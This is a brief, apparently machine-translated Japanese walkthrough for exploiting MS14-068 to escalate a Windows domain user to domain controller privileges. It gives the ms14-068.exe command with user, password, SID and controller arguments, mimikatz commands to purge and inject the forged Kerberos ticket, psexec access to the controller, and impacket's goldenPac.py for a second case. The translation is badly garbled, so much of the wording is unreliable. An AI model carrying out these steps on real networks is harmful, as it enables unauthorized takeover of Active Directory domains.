右に言及ms14-068
ツールの使用
a）の境界マシンwin7のを獲得し、すでにwin7のパスワードのいずれかのアカウントを持っています
-uユーザ名@ドメイン
-pユーザーのパスワード
-sユーザーのSID
-dドメインコントローラ
ms14-068.exe -u [email protected] -p試験＃123 S-1-5-21-2030659959-700672918-1434258406-1113 -d win08.superman.com -s
チケットサフィックスccacheを生成します
輸入額
インポートする前に、チケットキャッシュを空にする
ケルベロス::パージ
ケルベロス:: PTC法案
接続win08（ドメイン・コントローラ・マシン）にPSEXEC使用ツールは、コマンドを実行しようとすると、TEST3の権限を参照して、実際に属するwin08にすでにあり、かつ最高の権威であります
impacketキットには、右に言及します
ケースb）境界のマシンが、アカウントのパスワードを取得できませんでした
/ impacket /例でgoldenpac.pyスクリプトを使用します
